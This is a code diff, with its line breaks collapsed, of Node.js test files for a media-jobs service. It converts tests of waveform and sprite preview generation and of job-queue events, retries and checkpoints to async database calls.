dir('clips');--process.env.FILES_PATH = dir('files');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.PASTES_PATH = dir('pastes');--process.env.OBJECTS_PATH = dir('objects');--process.env.MEDIA_JOBS_POLL_MS = '50';--process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';--process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';--const stub = http.createServer((req, res) => {-- req.resume();-- req.on('end', () => {-- res.setHeader('Content-Type', 'application/json');-- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));-- res.statusCode = 404; res.end('{}');++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-previews-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.CLIPS_PATH = dir('clips');++ process.env.FILES_PATH = dir('files');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.PASTES_PATH = dir('pastes');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.MEDIA_JOBS_POLL_MS = '50';++ process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';++ process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';++ const stub = http.createServer((req, res) => {++ req.resume();++ req.on('end', () => {++ res.setHeader('Content-Type', 'application/json');++ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));++ res.statusCode = 404; res.end('{}');++ });});--});--const sleep = (ms) => new Promise((r) => setTimeout(r, ms));--const waitFor = async (fn, ms = 30000) => { const end = Date.now() + ms; while (Date.now() < end) { if (await fn()) return true; await sleep(25); } return false; };--const hasFfmpeg = spawnSync('ffmpeg', ['-version']).status === 0;--const size = (file) => { const r = spawnSync('ffprobe', ['-v', 'error', '-select_streams', 'v:0', '-show_entries', 'stream=width,height', '-of', 'csv=p=0', file], { encoding: 'utf8' }); return r.stdout.trim(); };++ const sleep = (ms) => new Promise((r) => setTimeout(r, ms));++ const waitFor = async (fn, ms = 30000) => { const end = Date.now() + ms; while (Date.now() < end) { if (await fn()) return true; await sleep(25); } return false; };++ const hasFfmpeg = spawnSync('ffmpeg', ['-version']).status === 0;++ const size = (file) => { const r = spawnSync('ffprobe', ['-v', 'error', '-select_streams', 'v:0', '-show_entries', 'stream=width,height', '-of', 'csv=p=0', file], { encoding: 'utf8' }); return r.stdout.trim(); };--(async () => {-- // The layout alone: at most one frame per 2 s, a full grid, 16:9 tiles.-- const { spriteLayout } = require('../server/jobs/previews');-- assert.deepStrictEqual(spriteLayout(6, { frames: 100, columns: 10, tile_width: 160 }), { count: 3, interval_seconds: 2, columns: 3, rows: 1, tile_width: 160, tile_height: 90 });-- assert.deepStrictEqual(spriteLayout(43083, { frames: 100, columns: 10, tile_width: 160 }), { count: 100, interval_seconds: 430.83, columns: 10, rows: 10, tile_width: 160, tile_height: 90 });-- assert.strictEqual(spriteLayout(1, { frames: 100, columns: 10, tile_width: 160 }).count, 1);-- if (!hasFfmpeg) { console.log('preview jobs: skipped (ffmpeg not found)'); process.exit(0); }++ (async () => {++ // The layout alone: at most one frame per 2 s, a full grid, 16:9 tiles.++ const { spriteLayout } = require('../server/jobs/previews');++ assert.deepStrictEqual(spriteLayout(6, { frames: 100, columns: 10, tile_width: 160 }), { count: 3, interval_seconds: 2, columns: 3, rows: 1, tile_width: 160, tile_height: 90 });++ assert.deepStrictEqual(spriteLayout(43083, { frames: 100, columns: 10, tile_width: 160 }), { count: 100, interval_seconds: 430.83, columns: 10, rows: 10, tile_width: 160, tile_height: 90 });++ assert.strictEqual(spriteLayout(1, { frames: 100, columns: 10, tile_width: 160 }).count, 1);++ if (!hasFfmpeg) { console.log('preview jobs: skipped (ffmpeg not found)'); process.exit(0); }-- await new Promise((r) => stub.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${stub.address().port}`;-- const db = require('../server/db/database');-- const conn = db.getDb();-- db.upsertApp({ app_id: 'live', api_key: 'live-key' });-- const events = require('../server/events');-- events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });-- const model = require('../server/objects/model');-- const queue = require('../server/jobs/queue');-- const worker = require('../server/jobs/worker');-- const express = require('express');-- const app = express();-- app.use(express.json());-- app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));-- const server = http.createServer(app);-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const api = `http://127.0.0.1:${server.address().port}`;-- const call = async (method, p, { body } = {}) => {-- const res = await fetch(api + p, { method, headers: { authorization: 'Bearer live-key', 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) });-- return { status: res.status, body: await res.json().catch(() => null) };-- };-- worker.start();++ await new Promise((r) => stub.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${stub.address().port}`;++ const db = require('../server/db/database');++ const conn = db.getDb();++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ const events = require('../server/events');++ events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });++ const model = require('../server/objects/model');++ const queue = require('../server/jobs/queue');++ const worker = require('../server/jobs/worker');++ const express = require('express');++ const app = express();++ app.use(express.json());++ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));++ const server = http.createServer(app);++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const api = `http://127.0.0.1:${server.address().port}`;++ const call = async (method, p, { body } = {}) => {++ const res = await fetch(api + p, { method, headers: { authorization: 'Bearer live-key', 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) });++ return { status: res.status, body: await res.json().catch(() => null) };++ };++ await worker.start();-- // Sources: a 20 s VOD with sound, a silent clip file, and an audio-only file.-- const mk = (name, args) => { const f = path.join(process.env.VOD_PATH, name); const r = spawnSync('ffmpeg', ['-v', 'error', '-y', ...args, f]); assert.strictEqual(r.status, 0, String(r.stderr)); return f; };-- const av = mk('rec-20.mp4', ['-f', 'lavfi', '-i', 'testsrc=duration=20:size=320x180:rate=10', '-f', 'lavfi', '-i', 'sine=frequency=440:duration=20', '-c:v', 'mpeg4', '-g', '10', '-c:a', 'aac', '-shortest']);-- conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, duration_seconds) VALUES (20, 'live', 5, 'Twenty seconds', ?, ?, 1, 20)").run(av, fs.statSync(av).size);-- const vodObj = model.sync('vod', 20).id;-- const before = JSON.stringify([model.getObject(vodObj), model.listLocations(vodObj)]);-- const native = (file, mime) => {-- const id = model.createObject({ app_id: 'live', owner_user_id: 5, lifecycle_status: 'ready', kind: 'file', mime_type: mime, size_bytes: fs.statSync(file).size, metadata: { duration_seconds: 6 } });-- model.upsertLocation(id, { provider: 'local', key: file, state: 'present', size_bytes: fs.statSync(file).size, verified: true });-- return id;-- };-- const silent = native(mk('silent.mp4', ['-f', 'lavfi', '-i', 'testsrc=duration=6:size=320x180:rate=10', '-c:v', 'mpeg4']), 'video/mp4');-- const audio = native(mk('tone.m4a', ['-f', 'lavfi', '-i', 'sine=frequency=220:duration=6', '-c:a', 'aac']), 'audio/mp4');++ // Sources: a 20 s VOD with sound, a silent clip file, and an audio-only file.++ const mk = (name, args) => { const f = path.join(process.env.VOD_PATH, name); const r = spawnSync('ffmpeg', ['-v', 'error', '-y', ...args, f]); assert.strictEqual(r.status, 0, String(r.stderr)); return f; };++ const av = mk('rec-20.mp4', ['-f', 'lavfi', '-i', 'testsrc=duration=20:size=320x180:rate=10', '-f', 'lavfi', '-i', 'sine=frequency=440:duration=20', '-c:v', 'mpeg4', '-g', '10', '-c:a', 'aac', '-shortest']);++ await conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, duration_seconds) OVERRIDING SYSTEM VALUE VALUES (20, 'live', 5, 'Twenty seconds', ?, ?, 1, 20) RETURNING id").run(av, fs.statSync(av).size);++ const vodObj = (await model.sync('vod', 20)).id;++ const before = JSON.stringify([await model.getObject(vodObj), await model.listLocations(vodObj)]);++ const native = async (file, mime) => {++ const id = await model.createObject({ app_id: 'live', owner_user_id: 5, lifecycle_status: 'ready', kind: 'file', mime_type: mime, size_bytes: fs.statSync(file).size, metadata: { duration_seconds: 6 } });++ await model.upsertLocation(id, { provider: 'local', key: file, state: 'present', size_bytes: fs.statSync(file).size, verified: true });++ return id;++ };++ const silent = await native(mk('silent.mp4', ['-f', 'lavfi', '-i', 'testsrc=duration=6:size=320x180:rate=10', '-c:v', 'mpeg4']), 'video/mp4');++ const audio = await native(mk('tone.m4a', ['-f', 'lavfi', '-i', 'sine=frequency=220:duration=6', '-c:a', 'aac']), 'audio/mp4');-- const runJob = async (type, objectId, params) => {-- const r = await call('POST', '/api/v2/live/jobs', { body: { type, object_id: objectId, ...(params && { params }) } });-- assert.strictEqual(r.status, 202, JSON.stringify(r.body));-- const fin = await waitFor(() => ["succeeded", "failed"].includes(queue.get(r.body.job.id).status));-- assert.ok(fin, `${type} finishes: ${JSON.stringify(queue.jobPublic(queue.get(r.body.job.id)))}`);-- return queue.jobPublic(queue.get(r.body.job.id));-- };++ const runJob = async (type, objectId, params) => {++ const r = await call('POST', '/api/v2/live/jobs', { body: { type, object_id: objectId, ...(params && { params }) } });++ assert.strictEqual(r.status, 202, JSON.stringify(r.body));++ const fin = await waitFor(async () => ["succeeded", "failed"].includes((await queue.get(r.body.job.id)).status));++ assert.ok(fin, `${type} finishes: ${JSON.stringify(queue.jobPublic(await queue.get(r.body.job.id)))}`);++ return queue.jobPublic(await queue.get(r.body.job.id));++ };-- // ── Waveform ──-- const w = await runJob('object.waveform', 'legacy:live:vod:20');-- assert.strictEqual(w.status, 'succeeded', JSON.stringify(w.error));-- const wo = model.getObject(w.result.object_id);-- assert.deepStrictEqual([wo.kind, wo.mime_type, wo.visibility, wo.lifecycle_status, wo.owner_user_id], ['asset', 'image/png', 'private', 'ready', 5]);-- const wloc = model.listLocations(wo.id)[0];-- assert.strictEqual(size(wloc.key), '1800,140', 'the default waveform size');-- assert.strictEqual(model.getVariant(vodObj, 'waveform').derived_object_id, wo.id);-- assert.ok(/-waveform\.png$/.test(model.parseJson(wo.metadata, {}).filename));++ // ── Waveform ──++ const w = await runJob('object.waveform', 'legacy:live:vod:20');++ assert.strictEqual(w.status, 'succeeded', JSON.stringify(w.error));++ const wo = await model.getObject(w.result.object_id);++ assert.deepStrictEqual([wo.kind, wo.mime_type, wo.visibility, wo.lifecycle_status, wo.owner_user_id], ['asset', 'image/png', 'private', 'ready', 5]);++ const wloc = (await model.listLocations(wo.id))[0];++ assert.strictEqual(size(wloc.key), '1800,140', 'the default waveform size');++ assert.strictEqual((await model.getVariant(vodObj, 'waveform')).derived_object_id, wo.id);++ assert.ok(/-waveform\.png$/.test(model.parseJson(wo.metadata, {}).filename));-- const w2 = await runJob('object.waveform', vodObj, { width: 400, height: 60 });-- assert.strictEqual(size(model.listLocations(w2.result.object_id)[0].key), '400,60');-- assert.strictEqual(model.getVariant(vodObj, 'waveform').derived_object_id, w2.result.object_id, 'a new waveform replaces the variant');++ const w2 = await runJob('object.waveform', vodObj, { width: 400, height: 60 });++ assert.strictEqual(size((await model.listLocations(w2.result.object_id))[0].key), '400,60');++ assert.strictEqual((await model.getVariant(vodObj, 'waveform')).derived_object_id, w2.result.object_id, 'a new waveform replaces the variant');-- const ws = await runJob('object.waveform', silent);-- assert.strictEqual(ws.status, 'failed');-- assert.strictEqual(ws.error_code, 'no_audio', ws.error);-- assert.strictEqual(ws.attempts, 1, 'no retry: it is permanent');++ const ws = await runJob('object.waveform', silent);++ assert.strictEqual(ws.status, 'failed');++ assert.strictEqual(ws.error_code, 'no_audio', ws.error);++ assert.strictEqual(ws.attempts, 1, 'no retry: it is permanent');-- // ── Sprite ──-- const s = await runJob('object.sprite', vodObj);-- assert.strictEqual(s.status, 'succeeded', JSON.stringify(s.error));-- assert.deepStrictEqual(s.result.sprite, { count: 10, interval_seconds: 2, columns: 10, rows: 1, tile_width: 160, tile_height: 90 });-- const so = model.getObject(s.result.object_id);-- assert.deepStrictEqual([so.kind, so.mime_type, so.visibility], ['asset', 'image/jpeg', 'private']);-- assert.strictEqual(size(model.listLocations(so.id)[0].key), '1600,90', 'the image is the layout: 10 × 160 by 1 × 90');-- assert.deepStrictEqual(model.parseJson(so.metadata, {}).sprite, s.result.sprite, 'the layout is in the metadata');-- assert.strictEqual(model.getVariant(vodObj, 'sprite').derived_object_id, so.id);++ // ── Sprite ──++ const s = await runJob('object.sprite', vodObj);++ assert.strictEqual(s.status, 'succeeded', JSON.stringify(s.error));++ assert.deepStrictEqual(s.result.sprite, { count: 10, interval_seconds: 2, columns: 10, rows: 1, tile_width: 160, tile_height: 90 });++ const so = await model.getObject(s.result.object_id);++ assert.deepStrictEqual([so.kind, so.mime_type, so.visibility], ['asset', 'image/jpeg', 'private']);++ assert.strictEqual(size((await model.listLocations(so.id))[0].key), '1600,90', 'the image is the layout: 10 × 160 by 1 × 90');++ assert.deepStrictEqual(model.parseJson(so.metadata, {}).sprite, s.result.sprite, 'the layout is in the metadata');++ assert.strictEqual((await model.getVariant(vodObj, 'sprite')).derived_object_id, so.id);-- const s2 = await runJob('object.sprite', silent, { frames: 4, columns: 2, tile_width: 96 });-- assert.strictEqual(s2.status, 'succeeded', JSON.stringify(s2.error));-- assert.deepStrictEqual([s2.result.sprite.count, s2.result.sprite.rows], [3, 2], '6 s: 3 frames on a 2-column grid');-- assert.strictEqual(size(model.listLocations(s2.result.object_id)[0].key), '192,108');++ const s2 = await runJob('object.sprite', silent, { frames: 4, columns: 2, tile_width: 96 });++ assert.strictEqual(s2.status, 'succeeded', JSON.stringify(s2.error));++ assert.deepStrictEqual([s2.result.sprite.count, s2.result.sprite.rows], [3, 2], '6 s: 3 frames on a 2-column grid');++ assert.strictEqual(size((await model.listLocations(s2.result.object_id))[0].key), '192,108');-- const sa = await runJob('object.sprite', audio);-- assert.strictEqual(sa.status, 'failed');-- assert.strictEqual(sa.error_code, 'no_video', sa.error);++ const sa = await runJob('object.sprite', audio);++ assert.strictEqual(sa.status, 'failed');++ assert.strictEqual(sa.error_code, 'no_video', sa.error);-- const bad = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.sprite', object_id: vodObj, params: { frames: 1 } } });-- assert.strictEqual(bad.status, 400, 'params are checked when the job is asked for');++ const bad = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.sprite', object_id: vodObj, params: { frames: 1 } } });++ assert.strictEqual(bad.status, 400, 'params are checked when the job is asked for');-- assert.strictEqual(JSON.stringify([model.getObject(vodObj), model.listLocations(vodObj)]), before, 'the source is untouched');-- assert.strictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.jobs')).length, 0, 'work directories are removed');++ assert.strictEqual(JSON.stringify([await model.getObject(vodObj), await model.listLocations(vodObj)]), before, 'the source is untouched');++ assert.strictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.jobs')).length, 0, 'work directories are removed');-- worker.stop();-- events._reset();-- server.close();-- stub.close();-- console.log('jobs-previews: all checks passed');-- process.exit(0);++ worker.stop();++ events._reset();++ server.close();++ stub.close();++ console.log('jobs-previews: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -12,301 +12,283 @@ const os = require('os');const path = require('path');const http = require('http');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-jobs-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.CLIPS_PATH = dir('clips');--process.env.FILES_PATH = dir('files');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.PASTES_PATH = dir('pastes');--process.env.OBJECTS_PATH = dir('objects');--process.env.MEDIA_JOBS_POLL_MS = '50';--process.env.MEDIA_JOBS_LEASE_S = '30';--process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-jobs-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.CLIPS_PATH = dir('clips');++ process.env.FILES_PATH = dir('files');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.PASTES_PATH = dir('pastes');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.MEDIA_JOBS_POLL_MS = '50';++ process.env.MEDIA_JOBS_LEASE_S = '30';++ process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';--// ── 1. A database from before the worker: the schema-only table is rebuilt, rows kept ──--{-- const Database = require('better-sqlite3');-- const old = new Database(process.env.DB_PATH);-- old.exec(`CREATE TABLE media_jobs (id INTEGER PRIMARY KEY AUTOINCREMENT, object_id TEXT, job_type TEXT NOT NULL,-- status TEXT NOT NULL DEFAULT 'queued' CHECK(status IN ('queued', 'running', 'done', 'failed', 'cancelled')),-- attempts INTEGER NOT NULL DEFAULT 0, checkpoint TEXT, error TEXT, created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP);-- CREATE INDEX idx_media_jobs_status ON media_jobs(status, job_type);-- INSERT INTO media_jobs (object_id, job_type, status, attempts) VALUES (NULL, 'legacy.thing', 'done', 1);`);-- old.close();--}--const hooks = [];--const stub = http.createServer((req, res) => {-- let body = '';-- req.on('data', (c) => { body += c; });-- req.on('end', () => {-- res.setHeader('Content-Type', 'application/json');-- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));-- if (req.url === '/hook') { hooks.push(JSON.parse(body)); return res.end('{}'); }-- res.statusCode = 404; res.end('{}');++ const hooks = [];++ const stub = http.createServer((req, res) => {++ let body = '';++ req.on('data', (c) => { body += c; });++ req.on('end', () => {++ res.setHeader('Content-Type', 'application/json');++ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));++ if (req.url === '/hook') { hooks.push(JSON.parse(body)); return res.end('{}'); }++ res.statusCode = 404; res.end('{}');++ });});--});--const sleep = (ms) => new Promise((r) => setTimeout(r, ms));--const waitFor = async (fn, ms = 5000) => {-- const end = Date.now() + ms;-- while (Date.now() < end) { if (await fn()) return true; await sleep(20); }-- return false;--};++ const sleep = (ms) => new Promise((r) => setTimeout(r, ms));++ const waitFor = async (fn, ms = 5000) => {++ const end = Date.now() + ms;++ while (Date.now() < end) { if (await fn()) return true; await sleep(20); }++ return false;++ };--(async () => {-- await new Promise((r) => stub.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${stub.address().port}`;-- const db = require('../server/db/database');-- const raw = db.getDb();++ (async () => {++ await new Promise((r) => stub.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${stub.address().port}`;++ const db = require('../server/db/database');++ const raw = db.getDb();-- const cols = raw.prepare('PRAGMA table_info(media_jobs)').all().map((c) => c.name);-- assert.ok(cols.includes('app_id') && cols.includes('idempotency_key') && cols.includes('lease_until'), 'media_jobs rebuilt into the worker shape');-- const legacy = raw.prepare("SELECT * FROM media_jobs WHERE id = 'mjob_legacy_1'").get();-- assert.deepStrictEqual([legacy.job_type, legacy.status, legacy.app_id], ['legacy.thing', 'succeeded', 'unknown'], 'the old row is kept, done -> succeeded');-- assert.ok(raw.prepare("SELECT 1 FROM sqlite_master WHERE name = 'idx_media_jobs_idem'").get(), 'indexes on the new columns exist');-- db.close();-- db.getDb(); // a second open is a no-op-- assert.ok(db.get("SELECT 1 FROM media_jobs WHERE id = 'mjob_legacy_1'"));-- console.log('✅ the schema-only media_jobs table is rebuilt (rows kept); reopening is idempotent');-- db.upsertApp({ app_id: 'live', api_key: 'live-key', webhook_url: `${base}/hook`, webhook_secret: 's' });-- db.upsertApp({ app_id: 'games', api_key: 'games-key' });-- const events = require('../server/events');-- assert.ok(events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 }));-- const conn = db.getDb();-- const outbox = () => conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all().map((r) => JSON.parse(r.envelope));-- const jobEvents = (id) => outbox().filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.event_type);-- const jobPayloads = (id) => outbox().filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.payload);-- // The media.job.* payload: exactly these fields. The rest stays behind the tenant-scoped jobs API.-- const EVENT_KEYS = ['app_id', 'attempts', 'cancel_requested', 'created_at', 'decided_at', 'error_code', 'finished_at', 'has_result',-- 'id', 'max_attempts', 'object_id', 'run_after', 'started_at', 'status', 'type', 'updated_at'];-- const LEFT_OUT = ['params', 'idempotency_key', 'error', 'result', 'created_by', 'decided_by', 'owner_user_id'];-- const TIMES = ['run_after', 'decided_at', 'created_at', 'updated_at', 'started_at', 'finished_at'];-- const ISO = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/;-- const TRANSITION_STATUS = { proposed: 'proposed', queued: 'queued', started: 'running', retrying: 'queued', succeeded: 'succeeded', failed: 'failed', cancelled: 'cancelled' };-- const assertJobEvent = (env) => {-- const p = env.payload, what = `${env.event_type} ${p.id}`;-- assert.deepStrictEqual(Object.keys(p).sort(), EVENT_KEYS, `${what}: exactly the event projection`);-- for (const k of LEFT_OUT) assert.ok(!(k in p), `${what}: no ${k}`);-- for (const k of TIMES) assert.ok(p[k] === null || ISO.test(p[k]), `${what}: ${k} is ISO 8601 UTC or null (${p[k]})`);-- assert.ok(ISO.test(p.created_at) && ISO.test(p.updated_at), `${what}: created_at and updated_at are always set`);-- assert.strictEqual(typeof p.has_result, 'boolean');-- assert.strictEqual(p.status, TRANSITION_STATUS[env.event_type.slice('media.job.'.length)], `${what}: status`);-- };-- const failOutbox = (on) => conn.exec(on-- ? "CREATE TEMP TRIGGER outbox_boom BEFORE INSERT ON event_outbox BEGIN SELECT RAISE(ABORT, 'outbox insert failed'); END"-- : 'DROP TRIGGER IF EXISTS temp.outbox_boom');++ await db.upsertApp({ app_id: 'live', api_key: 'live-key', webhook_url: `${base}/hook`, webhook_secret: 's' });++ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });++ const events = require('../server/events');++ const relay = events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });++ assert.ok(relay);++ const conn = db.getDb();++ const outbox = async () => (await conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all()).map((r) => (typeof r.envelope === 'string' ? JSON.parse(r.envelope) : r.envelope));++ const jobEvents = async (id) => (await outbox()).filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.event_type);++ const jobPayloads = async (id) => (await outbox()).filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.payload);++ // The media.job.* payload: exactly these fields. The rest stays behind the tenant-scoped jobs API.++ const EVENT_KEYS = ['app_id', 'attempts', 'cancel_requested', 'created_at', 'decided_at', 'error_code', 'finished_at', 'has_result',++ 'id', 'max_attempts', 'object_id', 'run_after', 'started_at', 'status', 'type', 'updated_at'];++ const LEFT_OUT = ['params', 'idempotency_key', 'error', 'result', 'created_by', 'decided_by', 'owner_user_id'];++ const TIMES = ['run_after', 'decided_at', 'created_at', 'updated_at', 'started_at', 'finished_at'];++ const ISO = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/;++ const TRANSITION_STATUS = { proposed: 'proposed', queued: 'queued', started: 'running', retrying: 'queued', succeeded: 'succeeded', failed: 'failed', cancelled: 'cancelled' };++ const assertJobEvent = (env) => {++ const p = env.payload, what = `${env.event_type} ${p.id}`;++ assert.deepStrictEqual(Object.keys(p).sort(), EVENT_KEYS, `${what}: exactly the event projection`);++ for (const k of LEFT_OUT) assert.ok(!(k in p), `${what}: no ${k}`);++ for (const k of TIMES) assert.ok(p[k] === null || ISO.test(p[k]), `${what}: ${k} is ISO 8601 UTC or null (${p[k]})`);++ assert.ok(ISO.test(p.created_at) && ISO.test(p.updated_at), `${what}: created_at and updated_at are always set`);++ assert.strictEqual(typeof p.has_result, 'boolean');++ assert.strictEqual(p.status, TRANSITION_STATUS[env.event_type.slice('media.job.'.length)], `${what}: status`);++ };++ // The outbox insert fails inside the job's transaction (as a full disk or a constraint would).++ const realEnqueue = relay.enqueue;++ const failOutbox = (on) => { relay.enqueue = on ? async () => { throw new Error('outbox insert failed'); } : realEnqueue; };-- const queue = require('../server/jobs/queue');-- const worker = require('../server/jobs/worker');++ const queue = require('../server/jobs/queue');++ const worker = require('../server/jobs/worker');-- // Test job types.-- let flakyCalls = 0;-- queue.register('test.flaky', {-- lane: 'light', maxAttempts: 3, backoffS: () => 0,-- run: async (job, ctx) => {-- flakyCalls++;-- if (!ctx.checkpoint) { ctx.saveCheckpoint({ step: 1 }); throw new Error('transient'); }-- return { resumed_from: ctx.checkpoint.step };-- },-- });-- queue.register('test.permanent', { lane: 'light', run: async () => { throw new queue.JobError('bad_input', 'will never work', { permanent: true }); } });-- queue.register('test.always', { lane: 'light', maxAttempts: 2, backoffS: () => 0, run: async () => { throw new Error('nope'); } });-- let release = null;-- queue.register('test.slow', {-- lane: 'heavy',-- run: (job, ctx) => new Promise((resolve, reject) => {-- release = resolve;-- ctx.signal.addEventListener('abort', () => reject(ctx.signal.reason), { once: true });-- }),-- });++ // Test job types.++ let flakyCalls = 0;++ queue.register('test.flaky', {++ lane: 'light', maxAttempts: 3, backoffS: () => 0,++ run: async (job, ctx) => {++ flakyCalls++;++ if (!ctx.checkpoint) { ctx.saveCheckpoint({ step: 1 }); throw new Error('transient'); }++ return { resumed_from: ctx.checkpoint.step };++ },++ });++ queue.register('test.permanent', { lane: 'light', run: async () => { throw new queue.JobError('bad_input', 'will never work', { permanent: true }); } });++ queue.register('test.always', { lane: 'light', maxAttempts: 2, backoffS: () => 0, run: async () => { throw new Error('nope'); } });++ let release = null;++ queue.register('test.slow', {++ lane: 'heavy',++ run: (job, ctx) => new Promise((resolve, reject) => {++ release = resolve;++ ctx.signal.addEventListener('abort', () => reject(ctx.signal.reason), { once: true });++ }),++ });-- // ── 2. A state change and its event commit together ──-- const a = queue.enqueue({ appId: 'live', type: 'test.flaky', params: { x: 1 }, createdBy: 'test' });-- assert.ok(a.created && /^mjob_[0-9A-HJKMNP-TV-Z]{26}$/.test(a.job.id));-- assert.deepStrictEqual(jobEvents(a.job.id), ['media.job.queued']);-- const env = outbox().find((e) => e.subject.id === a.job.id);-- assert.deepStrictEqual([env.source, env.priority, env.visibility, env.payload.type, env.payload.status, env.payload.app_id], ['media', 'low', 'internal', 'test.flaky', 'queued', 'live']);-- assertJobEvent(env);-- const aRow = queue.get(a.job.id);-- assert.deepStrictEqual([env.payload.created_at, env.payload.updated_at], [aRow.created_at, aRow.updated_at].map((t) => new Date(`${t.replace(' ', 'T')}Z`).toISOString()), 'times are the row\'s, in ISO 8601 UTC');-- assert.deepStrictEqual([env.payload.attempts, env.payload.max_attempts, env.payload.error_code, env.payload.cancel_requested, env.payload.has_result, env.payload.object_id, env.payload.run_after, env.payload.started_at, env.payload.finished_at, env.payload.decided_at],-- [0, 3, null, false, false, null, null, null, null, null]);-- const q2 = queue.enqueue({ appId: 'live', type: 'test.permanent' });-- failOutbox(true);-- assert.throws(() => queue.enqueue({ appId: 'live', type: 'test.flaky', params: { x: 2 } }), /outbox insert failed/);-- assert.strictEqual(db.get("SELECT COUNT(*) AS n FROM media_jobs WHERE params = '{\"x\":2}'").n, 0, 'no job without its event');-- assert.throws(() => queue.cancel(q2.job.id, { by: 'x' }), /outbox insert failed/);-- failOutbox(false);-- assert.strictEqual(queue.get(q2.job.id).status, 'queued', 'a cancel whose event cannot be written changes nothing');-- assert.ok(hooks.length === 0, 'job events go to Events only, not the app webhook');-- console.log('✅ job state changes commit with their media.job.* outbox row, or not at all');++ // ── 2. A state change and its event commit together ──++ const a = await queue.enqueue({ appId: 'live', type: 'test.flaky', params: { x: 1 }, createdBy: 'test' });++ assert.ok(a.created && /^mjob_[0-9A-HJKMNP-TV-Z]{26}$/.test(a.job.id));++ assert.deepStrictEqual(await jobEvents(a.job.id), ['media.job.queued']);++ const env = (await outbox()).find((e) => e.subject.id === a.job.id);++ assert.deepStrictEqual([env.source, env.priority, env.visibility, env.payload.type, env.payload.status, env.payload.app_id], ['media', 'low', 'internal', 'test.flaky', 'queued', 'live']);++ assertJobEvent(env);++ const aRow = await queue.get(a.job.id);++ assert.deepStrictEqual([env.payload.created_at, env.payload.updated_at], [aRow.created_at, aRow.updated_at].map((t) => new Date(`${t.replace(' ', 'T')}Z`).toISOString()), 'times are the row\'s, in ISO 8601 UTC');++ assert.deepStrictEqual([env.payload.attempts, env.payload.max_attempts, env.payload.error_code, env.payload.cancel_requested, env.payload.has_result, env.payload.object_id, env.payload.run_after, env.payload.started_at, env.payload.finished_at, env.payload.decided_at],++ [0, 3, null, false, false, null, null, null, null, null]);++ const q2 = await queue.enqueue({ appId: 'live', type: 'test.permanent' });++ failOutbox(true);++ await assert.rejects(async () => await queue.enqueue({ appId: 'live', type: 'test.flaky', params: { x: 2 } }), /outbox insert failed/);++ assert.strictEqual((await db.get("SELECT COUNT(*) AS n FROM media_jobs WHERE params = '{\"x\":2}'")).n, 0, 'no job without its event');++ await assert.rejects(async () => await queue.cancel(q2.job.id, { by: 'x' }), /outbox insert failed/);++ failOutbox(false);++ 